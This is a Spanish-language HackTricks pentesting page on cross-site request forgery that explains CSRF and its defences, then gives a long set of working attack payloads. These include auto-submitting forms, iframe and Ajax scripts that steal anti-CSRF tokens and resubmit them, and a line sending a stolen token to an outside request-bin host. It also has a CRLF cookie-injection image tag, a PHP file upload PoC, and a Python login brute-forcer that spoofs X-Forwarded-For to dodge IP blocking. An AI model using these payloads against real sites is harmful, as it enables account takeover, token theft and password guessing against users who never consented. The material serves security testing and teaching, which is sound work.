hacktricks/pentesting-web/csrf-cross-site-request-forgery.md

27 KiB
Raw Blame History

CSRF (Cross Site Request Forgery)

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores.

Información sobre Hacking
Involúcrate con contenido que explora la emoción y los desafíos del hacking

Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios
Mantente informado sobre los nuevos programas de recompensas por errores y actualizaciones importantes de plataformas

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy mismo!

Explicación de Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) es un tipo de vulnerabilidad de seguridad que se encuentra en aplicaciones web. Permite a los atacantes realizar acciones en nombre de usuarios desprevenidos explotando sus sesiones autenticadas. El ataque se ejecuta cuando un usuario, que está conectado a la plataforma de la víctima, visita un sitio malicioso. Este sitio luego desencadena solicitudes a la cuenta de la víctima a través de métodos como la ejecución de JavaScript, el envío de formularios o la obtención de imágenes.

Requisitos previos para un Ataque CSRF

Para explotar una vulnerabilidad CSRF, se deben cumplir varias condiciones:

  1. Identificar una Acción Valiosa: El atacante necesita encontrar una acción que valga la pena explotar, como cambiar la contraseña del usuario, el correo electrónico o elevar privilegios.
  2. Gestión de Sesiones: La sesión del usuario debe ser gestionada únicamente a través de cookies o el encabezado de Autenticación Básica HTTP, ya que otros encabezados no se pueden manipular con este propósito.
  3. Ausencia de Parámetros Impredecibles: La solicitud no debe contener parámetros impredecibles, ya que pueden evitar el ataque.

Verificación Rápida

Podrías capturar la solicitud en Burp y verificar las protecciones CSRF y para probar desde el navegador puedes hacer clic en Copiar como fetch y verificar la solicitud:

Defensa Contra CSRF

Se pueden implementar varias contramedidas para protegerse contra los ataques CSRF:

  • Cookies SameSite: Este atributo evita que el navegador envíe cookies junto con solicitudes entre sitios. Más sobre las Cookies SameSite.
  • Compartición de Recursos entre Orígenes: La política CORS del sitio de la víctima puede influir en la viabilidad del ataque, especialmente si el ataque requiere leer la respuesta del sitio de la víctima. Aprende sobre cómo evadir CORS.
  • Verificación de Usuario: Solicitar la contraseña del usuario o resolver un captcha puede confirmar la intención del usuario.
  • Comprobación de Encabezados Referrer u Origin: Validar estos encabezados puede ayudar a garantizar que las solicitudes provengan de fuentes confiables. Sin embargo, la elaboración cuidadosa de URLs puede eludir controles implementados de manera deficiente, como:
  • Usar http://mal.net?orig=http://example.com (URL termina con la URL de confianza)
  • Usar http://example.com.mal.net (URL comienza con la URL de confianza)
  • Modificar Nombres de Parámetros: Alterar los nombres de los parámetros en solicitudes POST o GET puede ayudar a prevenir ataques automatizados.
  • Tokens CSRF: Incorporar un token CSRF único en cada sesión y requerir este token en solicitudes posteriores puede mitigar significativamente el riesgo de CSRF. La efectividad del token puede mejorarse aplicando CORS.

Comprender e implementar estas defensas es crucial para mantener la seguridad y la integridad de las aplicaciones web.

Bypass de Defensas

De POST a GET

Tal vez el formulario que deseas aprovechar está preparado para enviar una solicitud POST con un token CSRF pero, debes verificar si un GET también es válido y si al enviar una solicitud GET el token CSRF sigue siendo validado.

Falta de token

Las aplicaciones pueden implementar un mecanismo para validar tokens cuando están presentes. Sin embargo, surge una vulnerabilidad si la validación se omite por completo cuando falta el token. Los atacantes pueden explotar esto al eliminar el parámetro que lleva el token, no solo su valor. Esto les permite eludir el proceso de validación y llevar a cabo un ataque de Cross-Site Request Forgery (CSRF) de manera efectiva.

El token CSRF no está vinculado a la sesión del usuario

Las aplicaciones que no vinculan los tokens CSRF a las sesiones de usuario presentan un riesgo de seguridad significativo. Estos sistemas verifican los tokens contra un pool global en lugar de asegurarse de que cada token esté vinculado a la sesión iniciadora.

Así es como los atacantes explotan esto:

  1. Autenticarse utilizando su propia cuenta.
  2. Obtener un token CSRF válido del pool global.
  3. Utilizar este token en un ataque CSRF contra una víctima.

Esta vulnerabilidad permite a los atacantes realizar solicitudes no autorizadas en nombre de la víctima, explotando el mecanismo de validación de token insuficiente de la aplicación.

Bypass de Método

Si la solicitud está utilizando un "método extraño", verifica si la funcionalidad de anulación de método está funcionando. Por ejemplo, si está usando un método PUT puedes intentar usar un método POST y enviar: https://example.com/my/dear/api/val/num?_method=PUT

Esto también podría funcionar enviando el parámetro _method dentro de una solicitud POST o utilizando los encabezados:

  • X-HTTP-Method
  • X-HTTP-Method-Override
  • X-Method-Override

Bypass de Token de Encabezado Personalizado

Si la solicitud agrega un encabezado personalizado con un token a la solicitud como método de protección CSRF, entonces:

  • Prueba la solicitud sin el Token Personalizado y también sin el encabezado.
  • Prueba la solicitud con una longitud exactamente igual pero con un token diferente.

Las aplicaciones pueden implementar protección CSRF duplicando el token tanto en una cookie como en un parámetro de solicitud o configurando una cookie CSRF y verificando si el token enviado en el backend corresponde a la cookie. La aplicación valida las solicitudes comprobando si el token en el parámetro de solicitud coincide con el valor de la cookie.

Sin embargo, este método es vulnerable a ataques CSRF si el sitio web tiene fallas que permiten a un atacante establecer una cookie CSRF en el navegador de la víctima, como una vulnerabilidad CRLF. El atacante puede explotar esto cargando una imagen engañosa que establece la cookie, seguido por iniciar el ataque CSRF.

A continuación se muestra un ejemplo de cómo podría estructurarse un ataque:

<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>

{% hint style="info" %} Ten en cuenta que si el token csrf está relacionado con la cookie de sesión este ataque no funcionará porque necesitarás establecer la sesión de la víctima, y por lo tanto estarás atacándote a ti mismo. {% endhint %}

Cambio de Content-Type

Según esto, para evitar las solicitudes previas utilizando el método POST estos son los valores de Content-Type permitidos:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

Sin embargo, ten en cuenta que la lógica de los servidores puede variar dependiendo del Content-Type utilizado, por lo que deberías probar los valores mencionados y otros como application/json,text/xml, application/xml.

Ejemplo (de aquí) de envío de datos JSON como text/plain:

<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>

Saltando las Solicitudes de Preflight para Datos JSON

Cuando se intenta enviar datos JSON a través de una solicitud POST, usar Content-Type: application/json en un formulario HTML no es directamente posible. De manera similar, utilizar XMLHttpRequest para enviar este tipo de contenido inicia una solicitud de preflight. Sin embargo, existen estrategias para potencialmente saltar esta limitación y verificar si el servidor procesa los datos JSON independientemente del Content-Type:

  1. Usar Tipos de Contenido Alternativos: Emplear Content-Type: text/plain o Content-Type: application/x-www-form-urlencoded configurando enctype="text/plain" en el formulario. Este enfoque prueba si el backend utiliza los datos independientemente del Content-Type.
  2. Modificar el Tipo de Contenido: Para evitar una solicitud de preflight asegurando que el servidor reconozca el contenido como JSON, puedes enviar los datos con Content-Type: text/plain; application/json. Esto no desencadena una solicitud de preflight pero podría ser procesado correctamente por el servidor si está configurado para aceptar application/json.
  3. Utilización de Archivo Flash SWF: Un método menos común pero factible implica usar un archivo flash SWF para evadir tales restricciones. Para una comprensión más profunda de esta técnica, consulta este post.

Saltar la Verificación de Referencia/Origen

Evitar la cabecera de Referencia

Las aplicaciones pueden validar la cabecera 'Referer' solo cuando está presente. Para evitar que un navegador envíe esta cabecera, se puede utilizar la siguiente etiqueta meta HTML:

<meta name="referrer" content="never">

Esto asegura que se omita el encabezado 'Referer', potencialmente evitando las comprobaciones de validación en algunas aplicaciones.

Bypass de expresiones regulares

{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Para establecer el nombre de dominio del servidor en la URL que el Referer va a enviar dentro de los parámetros, puedes hacer lo siguiente:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>

Bypass del método HEAD

La primera parte de este informe de CTF explica que en el código fuente de Oak, un enrutador está configurado para manejar las solicitudes HEAD como solicitudes GET sin cuerpo de respuesta, una solución común que no es exclusiva de Oak. En lugar de un controlador específico que maneje las solicitudes HEAD, simplemente se envían al controlador GET pero la aplicación elimina el cuerpo de respuesta.

Por lo tanto, si una solicitud GET está siendo limitada, simplemente podrías enviar una solicitud HEAD que será procesada como una solicitud GET.

Ejemplos de Exploit

Exfiltración de Token CSRF

Si se está utilizando un token CSRF como defensa, podrías intentar exfiltrarlo abusando de una vulnerabilidad de XSS o una vulnerabilidad de Dangling Markup.

GET utilizando etiquetas HTML

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Otras etiquetas HTML5 que se pueden usar para enviar automáticamente una solicitud GET son:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">

Solicitud GET de formulario

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Solicitud POST de formulario

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>

Solicitud POST de formulario a través de un iframe

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Solicitud POST de Ajax

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>

Solicitud POST multipart/form-data

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});

Solicitud POST multipart/form-data v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

Solicitud POST de formulario desde un iframe

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

Robar el Token CSRF y enviar una solicitud POST

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

Robar el Token CSRF y enviar una solicitud Post usando un iframe, un formulario y Ajax

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

Robar el Token CSRF y enviar una solicitud POST usando un iframe y un formulario

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

Robar token y enviarlo usando 2 iframes

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTRobar token CSRF con Ajax y enviar un post con un formulario

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

CSRF con Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>

Fuerza Bruta de Inicio de Sesión CSRF

El código se puede utilizar para realizar un ataque de fuerza bruta en un formulario de inicio de sesión utilizando un token CSRF (también está utilizando el encabezado X-Forwarded-For para intentar evadir un posible bloqueo de IP):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Herramientas

Referencias

Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs!

Perspectivas de Hacking
Participa en contenido que explora la emoción y los desafíos del hacking

Noticias de Hacking en Tiempo Real
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real

Últimos Anuncios
Mantente informado sobre los nuevos programas de recompensas por bugs y actualizaciones importantes de plataformas

Únete a nosotros en Discord ¡y comienza a colaborar con los mejores hackers hoy!

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: